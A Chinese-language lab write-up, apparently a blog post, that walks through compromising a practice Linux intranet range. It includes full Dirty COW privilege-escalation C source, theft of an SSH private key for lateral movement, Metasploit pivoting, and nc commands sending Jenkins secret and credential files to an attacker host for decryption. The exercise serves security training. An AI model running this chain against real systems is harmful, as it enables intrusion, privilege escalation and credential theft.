CSK linux内网靶场

nmap信息收集

nmap 172.16.250.0/24

 172.16.250.10
22/tcp   open  ssh
80/tcp   open  http
8009/tcp open  ajp13
8080/tcp open  http-proxy

 172.16.250.30

22/tcp open  ssh

 172.16.250.50
 
22/tcp open  ssh

拿第一台主机的shell

看到数据包有action,怀疑是struts2

用msf打,成功返回shell

(记得要写payload)

发现是普通用户的权限

脏牛提权

/*
 * CVE-2016-5195 dirtypoc
 *
 * This PoC is memory only and doesn't write anything on the filesystem.
 * /!\ Beware, it triggers a kernel crash a few minutes.
 *
 * gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
 */

#define _GNU_SOURCE
#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>


#define SHELLCODE	"\x31\xc0\xc3"
#define SPACE_SIZE	256
#define LIBC_PATH	"/lib/x86_64-linux-gnu/libc.so.6"
#define LOOP		0x1000000

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

struct mem_arg  {
	struct stat st;
	off_t offset;
	unsigned long patch_addr;
	unsigned char *patch;
	unsigned char *unpatch;
	size_t patch_size;
	bool do_patch;
	void *map;
};


static int check(bool do_patch, const char *thread_name)
{
	uid_t uid;

	uid = getuid();

	if (do_patch) {
		if (uid == 0) {
			printf("[*] patched (%s)\n", thread_name);
			return 1;
		}
	} else {
		if (uid != 0) {
			printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
			return 1;
		}
	}

	return 0;
}


static void *madviseThread(void *arg)
{
	struct mem_arg *mem_arg;
	size_t size;
	void *addr;
	int i, c = 0;

	mem_arg = (struct mem_arg *)arg;
	addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
	size = mem_arg->offset - (unsigned long)addr;

	for(i = 0; i < LOOP; i++) {
		c += madvise(addr, size, MADV_DONTNEED);

		if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
			break;
	}

	if (c == 0x1337)
		printf("[*] madvise = %d\n", c);

	return NULL;
}

static void *procselfmemThread(void *arg)
{
	struct mem_arg *mem_arg;
	int fd, i, c = 0;
	unsigned char *p;

	mem_arg = (struct mem_arg *)arg;
	p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;

	fd = open("/proc/self/mem", O_RDWR);
	if (fd == -1)
		err(1, "open(\"/proc/self/mem\"");

	for (i = 0; i < LOOP; i++) {
		lseek(fd, mem_arg->offset, SEEK_SET);
		c += write(fd, p, mem_arg->patch_size);

		if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
			break;
	}

	if (c == 0x1337)
		printf("[*] /proc/self/mem %d\n", c);

	close(fd);

	return NULL;
}

static int get_range(unsigned long *start, unsigned long *end)
{
	char line[4096];
	char filename[PATH_MAX];
	char flags[32];
	FILE *fp;
	int ret;

	ret = -1;

	fp = fopen("/proc/self/maps", "r");
	if (fp == NULL)
		err(1, "fopen(\"/proc/self/maps\")");

	while (fgets(line, sizeof(line), fp) != NULL) {
		sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);

		if (strstr(flags, "r-xp") == NULL)
			continue;

		if (strstr(filename, "/libc-") == NULL)
			continue;
		//printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
		ret = 0;
		break;
	}

	fclose(fp);

	return ret;
}

static void getroot(void)
{
	execlp("su", "su", NULL);
	err(1, "failed to execute \"su\"");
}

static void exploit(struct mem_arg *mem_arg, bool do_patch)
{
	pthread_t pth1, pth2;

	printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");

	mem_arg->do_patch = do_patch;

	pthread_create(&pth1, NULL, madviseThread, mem_arg);
	pthread_create(&pth2, NULL, procselfmemThread, mem_arg);

	pthread_join(pth1, NULL);
	pthread_join(pth2, NULL);
}

static unsigned long get_getuid_addr(void)
{
	unsigned long addr;
	void *handle;
	char *error;

	dlerror();

	handle = dlopen("libc.so.6", RTLD_LAZY);
	if (handle == NULL) {
		fprintf(stderr, "%s\n", dlerror());
		exit(EXIT_FAILURE);
	}

	addr = (unsigned long)dlsym(handle, "getuid");
	error = dlerror();
	if (error != NULL) {
		fprintf(stderr, "%s\n", error);
		exit(EXIT_FAILURE);
	}

	dlclose(handle);

	return addr;
}

int main(int argc, char *argv[])
{
	unsigned long start, end;
	unsigned long getuid_addr;
	struct mem_arg mem_arg;
	struct stat st;
	pid_t pid;
	int fd;

	if (get_range(&start, &end) != 0)
		errx(1, "failed to get range");

	printf("[*] range: %lx-%lx]\n", start, end);

	getuid_addr = get_getuid_addr();
	printf("[*] getuid = %lx\n", getuid_addr);

	mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
	if (mem_arg.patch == NULL)
		err(1, "malloc");

	mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
	if (mem_arg.unpatch == NULL)
		err(1, "malloc");

	memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
	memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
	mem_arg.patch_size = sizeof(SHELLCODE)-1;
	mem_arg.do_patch = true;

	fd = open(LIBC_PATH, O_RDONLY);
	if (fd == -1)
		err(1, "open(\"" LIBC_PATH "\")");
	if (fstat(fd, &st) == -1)
		err(1, "fstat");

	mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
	if (mem_arg.map == MAP_FAILED)
		err(1, "mmap");
	close(fd);

	printf("[*] mmap %p\n", mem_arg.map);

	mem_arg.st = st;
	mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);

	exploit(&mem_arg, true);

	pid = fork();
	if (pid == -1)
		err(1, "fork");

	if (pid == 0) {
		getroot();
	} else {
		sleep(2);
		exploit(&mem_arg, false);
		if (waitpid(pid, NULL, 0) == -1)
			warn("waitpid");
	}

	return 0;
}

upload /home/kali/tools/improve_priv/dirtycow-mem.c /tmp/dirtycow-mem.c

上传文件

shell

gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread

编译文件

python3 -c "import pty;pty.spawn('/bin/bash')" #转化为有交互式的tty窗口

./dirtycow-mem

成功提权

echo 0 > /proc/sys/vm/dirty_writeback_centisecs #将写回脏页面的间隔时间设置为0秒。这意味着如果有脏页面需要写回,内核会立即进行写回操作,而不等待指定的时间间隔。

echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn #将Linux内核的系统崩溃(panic)功能打开,并启用不同类型的崩溃触发器。这样,在出现严重问题时,内核会自动崩溃并停止系统运行。这有助于避免数据损坏和其他可能的问题。

横向移动第二台机器

cat ~/.bash_history 查看上传登陆时执行的指令(在 Linux 和类 Unix 系统中,~(波浪号)是一个特殊的符号,它代表当前用户的主目录(home directory),而不是根目录(root directory))

发现是通过密钥文件来登陆的

cp ~/.ssh/id_rsa /tmp/id_rsa

chmod777 id_rsa

download /tmp/id_rsa /root/id_rsa

将文件下载下来

尝试横向

chmod 777 *

ssh -i id_rsa root@172.16.250.30

成功拿shell

发现开放了8080端口,就说明有DMZ区

发现这可能是jeckins

建立路由

use auxiliary/server/socks_proxy

run post/multi/manage/autoroute

use auxiliary/server/socks_proxy

run

发现了密码

修改js变为明文

2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=

文件传递

利用nc将文件反向传递,如果想通过30让50上线的话,需要将流量进行封装成ssh通道,因为10可以访问30的22端口

nc -lvp 1234 > master.key

nc -lvp 1234 > hudson.util.Secret

nc -lvp 1234 > credentials.xml

nc 172.16.250.128 1234 < /home/jenkins/secrets/hudson.util.Secret

nc 172.16.250.128 1234 < /home/jenkins/secrets/master.key

nc 172.16.250.128 1234 < /home/jenkins/credentials.xml

破解密匙:
https://github.com/cheetz/jenkins-decrypt

python decrypt.py master.key hudson.util.Secret credentials.xml
相关推荐
GalaxyPokemon几秒前
LINUX网络基础 [一] - 初识网络,理解网络协议
linux·运维·网络
朗晴8 分钟前
Red Hat Enterprise Linux 发行日期!
linux
黎明晓月1 小时前
‌CentOS 7.9 安装 Docker 步骤
linux·docker·centos
同学小张1 小时前
Ollama有安全漏洞! 国家网络安全通报中心紧急通报
人工智能·gpt·学习·安全·web安全·aigc·agi
菜鸟xy..1 小时前
winhex软件简单讲解,虚拟磁盘分区介绍
linux·运维·服务器
网硕互联的小客服1 小时前
如何排查服务器内存泄漏问题
linux·运维·服务器·安全·ssh
Evoxt 益沃斯1 小时前
How to enable Qemu Guest Agent for Virtual Machines
linux·运维·服务器·qemu
Komorebi.py2 小时前
文件上传漏洞:upload-labs靶场11-20
笔记·安全·文件上传
钟离墨笺2 小时前
【Linux】【网络】UDP打洞-->不同子网下的客户端和服务器通信(未成功版)
linux·服务器·网络